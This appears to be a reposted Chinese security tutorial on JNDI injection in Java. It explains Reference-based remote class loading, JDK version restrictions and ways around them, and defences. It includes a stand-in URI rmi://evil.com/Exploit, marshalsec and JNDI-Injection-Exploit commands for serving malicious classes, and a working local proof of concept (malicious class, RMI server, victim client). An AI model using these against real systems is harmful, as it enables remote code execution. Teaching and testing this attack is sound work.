文章总结: 本文深入剖析了JNDI注入的原理、攻击流程与防御机制,指出其通过控制lookup参数诱导应用从远程加载恶意对象实现代码执行,并详细介绍了利用工具(如marshalsec、JNDI-Injection-Exploit)进行手工复现的方法。文章还分析了高版本JDK(如8u191+)通过默认关闭远程codebase加载的防御限制,并预告了利用本地Gadget等绕过手法,最后总结了升级JDK、严格输入过滤、启用安全管理器等防护措施。 综合评分: 85 文章分类: 漏洞分析,WEB安全,渗透测试,安全工具,实战经验
第47天-JNDI注入深度剖析:从原理到高版本绕过,一篇全掌握!
原创
萧瑶 萧瑶
AlphaNet
2026年2月23日 08:54 江苏
一次lookup,就可能让系统沦陷。本文带你彻底理解JNDI注入的来龙去脉。
0x00 思考先行:JNDI注入究竟是什么?
在深入技术细节前,我们先思考几个核心问题:
· 什么是JNDI注入?
JNDI注入是一种通过控制JNDI(Java命名和目录接口)lookup方法的参数,诱导Java应用从攻击者控制的远程服务器加载恶意对象,从而执行任意代码的攻击技术。
· 为什么会有JNDI注入?
根本原因在于JNDI的动态协议转换和远程对象加载机制。当应用将用户可控的字符串直接传给lookup()方法时,攻击者可构造恶意URI(如rmi://evil.com/Exploit),使客户端从远程加载并执行攻击者的恶意类。
· JNDI注入带来哪些安全威胁?
一旦利用成功,攻击者可实现远程代码执行,进而控制服务器、窃取数据、植入后门。2021年席卷全球的Log4j2漏洞(CVE-2021-44228)本质上就是JNDI注入,其破坏力可见一斑。
· 利用JNDI注入需要什么条件?
-
存在InitialContext.lookup()调用且参数用户可控
-
服务端JDK版本在限制版本以下,或存在绕过手法
-
攻击者能搭建恶意的RMI/LDAP服务并托管恶意类文件
0x01 JNDI基础:你必须知道的核心概念
JNDI是什么?
JNDI(Java Naming and Directory Interface)是Java提供的一组API,为应用统一接口访问各种命名和目录服务。你可以把它想象成一个“电话本”,通过名字就能找到对应的资源(对象、服务等)。它支持的主要协议包括:
· RMI:远程方法调用
· LDAP:轻量级目录访问协议
· DNS:域名系统
· CORBA:公共对象请求代理体系结构
命名服务 vs 目录服务
· 命名服务:简单的键值对绑定,如”person” → Person对象,通过名字精确查找。
· 目录服务:命名服务的扩展,对象可以有属性,支持按属性搜索,如LDAP。
ObjectFactory:让远程对象“活”起来
ObjectFactory负责将命名/目录服务中存储的数据转换为Java对象。JNDI注入的风险点就出现在“远程加载自定义ObjectFactory”的能力上——当客户端从远程加载一个工厂类,并实例化其中的对象时,恶意代码便得以执行。
关键类:Reference
Java允许将对象以引用的形式存储在命名/目录服务中(如RMI、LDAP),这就是Reference类。它的核心参数:
· className:远程加载时要使用的类名
· classFactory:实例化对象所需的工厂类名
· classFactoryLocation:工厂类所在的远程地址(http://、ftp://等)
当客户端lookup一个绑定了Reference的对象时,若本地找不到对应类,就会从classFactoryLocation远程加载并实例化,攻击链条就此形成。
0x02 JNDI注入原理:一次远程加载的“请君入瓮”
JNDI注入的核心攻击模式如下:
-
攻击者在恶意RMI/LDAP服务上绑定一个Reference,指向远程HTTP服务器上的恶意class文件。
-
受害者应用调用InitialContext.lookup(attackerURI),参数被攻击者控制(如rmi://evil.com:1099/Exploit)。
-
JNDI根据URI协议连接到恶意服务,获取Reference对象。
-
当客户端尝试在本地查找Reference中指定的类失败时,会根据classFactoryLocation远程加载并实例化该类。
-
恶意代码在受害者应用中执行。
这一过程依赖于JNDI的动态协议转换特性——即使上下文初始化时指定了RMI协议,lookup()仍可通过URI中的协议(如ldap://)切换到LDAP服务。攻击面因此大大拓宽。
0x03 攻击实战:工具与手工复现
常见调用了lookup()的危险类
以下类在特定逻辑中调用了InitialContext.lookup(),若其参数可被外部控制,即存在风险:
· org.springframework.transaction.jta.JtaTransactionManager.readObject()
· com.sun.rowset.JdbcRowSetImpl.execute()(曾出现在Fastjson漏洞中)
· javax.management.remote.rmi.RMIConnector.connect()
· org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName()
· InitialDirContext.lookup()、Spring LdapTemplate.lookup()
利用工具:快速验证漏洞
工具1:marshalsec
项目地址:https://github.com/mbechler/marshalsec
步骤:
- 编译恶意类Test.java,生成Test.class
javac Test.java
- 使用marshalsec启动恶意LDAP/RMI服务,指向存放class的HTTP服务器
# LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://你的IP:8080/#Test
# RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://你的IP:8080/#Test
- 在HTTP服务器(如Python的http.server)根目录放置Test.class
工具2:JNDI-Injection-Exploit
项目地址:https://github.com/welk1n/JNDI-Injection-Exploit
这个工具集成了更多绕过技巧,一键生成恶意服务:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 你的IP地址
参数-C指定要执行的命令(如弹出计算器),-A指定监听IP。工具会自动生成多个协议的恶意URI,供受害者访问。
手工复现:从0到1理解攻击细节
- 编写恶意类(Calc.java)
public class Calc {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {}
}
}
编译生成Calc.class,放到HTTP服务器(如http://127.0.0.1:8089/)。
- 攻击者搭建恶意RMI服务
// RMIServer.java
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.\*;
public class RMIServer {
public static void main(String[] args) throws Exception {
// 创建RMI注册表监听7778端口
Registry registry = LocateRegistry.createRegistry(7778);
// 创建Reference,指向远程恶意类
Reference reference = new Reference("Calc", "Calc", "http://127.0.0.1:8089/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
// 绑定到RMI服务,名称为RCE
registry.bind("RCE", wrapper);
System.out.println("RMI服务已启动...");
}
}
- 受害者客户端(模拟被攻击应用)
// VictimClient.java
import javax.naming.InitialContext;
public class VictimClient {
public static void main(String[] args) throws Exception {
String uri = "rmi://127.0.0.1:7778/RCE";
InitialContext initialContext = new InitialContext();
// 关键点:lookup参数被攻击者控制
initialContext.lookup(uri);
}
}
执行效果:当受害者运行VictimClient时,会从攻击者的RMI服务获取Reference,进而从HTTP服务器加载Calc.class,执行静态代码块中的命令(弹出计算器)。
0x04 JDK版本防御:高版本如何“堵住”漏洞?
随着JNDI注入的泛滥,Oracle在JDK中逐步引入了多重防御机制:
JDK版本范围 新增安全限制 影响
6u45、7u21之后 java.rmi.server.useCodebaseOnly=true(默认) RMI客户端仅从本地CLASSPATH和预设codebase加载类,禁用远程动态加载
6u141、7u131、8u121之后 com.sun.jndi.rmi.object.trustURLCodebase=false(默认) RMI和CORBA协议禁止使用远程codebase,无法通过RMI进行JNDI注入
6u211、7u201、8u191之后 com.sun.jndi.ldap.object.trustURLCodebase=false(默认) LDAP协议也禁止使用远程codebase,至此主流攻击向量被封锁
简单记忆:8u121以下可RMI攻击,8u121~8u191可LDAP攻击,8u191以上所有远程codebase加载默认关闭。
0x05 高版本如何绕过?(进阶预告)
虽然高版本JDK默认禁止了远程codebase加载,但安全研究员们仍发现了多种绕过手法:
· 利用本地Gadget:不依赖远程加载,而是通过服务端本地已有的类(如Tomcat、Spring等)构造利用链(类似于反序列化漏洞)。
· LDAP返回序列化数据:即使关闭了远程codebase,LDAP服务仍可返回序列化Java对象,若服务端依赖的库中存在危险的反序列化Gadget,仍可触发代码执行。
· 利用Java的CORBA等其他协议。
这些高级利用技巧将在后续Java安全篇章中详细展开,敬请期待!
0x06 防御总结:构建JNDI安全防线
- 升级JDK版本
将JDK升级到8u191或更高版本,从根本上关闭远程codebase加载。
- 严格控制输入
对所有传递给lookup()的参数进行严格过滤,避免用户控制完整的URI。可使用白名单机制,只允许预设的JNDI名称。
- 合理配置安全管理器
启用SecurityManager,限制远程代码的权限,如禁止访问本地文件系统、网络等。
- 关注第三方库漏洞
及时更新Log4j2、Fastjson等常用库,这些库往往成为JNDI注入的入口点。
- 定期安全审计
使用静态代码扫描工具,查找代码中危险的InitialContext.lookup()调用点。
JNDI注入的攻防博弈仍在继续。理解其原理,不仅是为了应对已知漏洞,更是为了在未来的Java安全挑战中,拥有快速分析和应对的能力。希望本文能为你构建清晰的知识图谱!
版权声明:本文为CSDN博主「dupei」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/dupei/article/details/120534024
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:AlphaNet 萧瑶 萧瑶《第47天-JNDI注入深度剖析:从原理到高版本绕过,一篇全掌握!》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论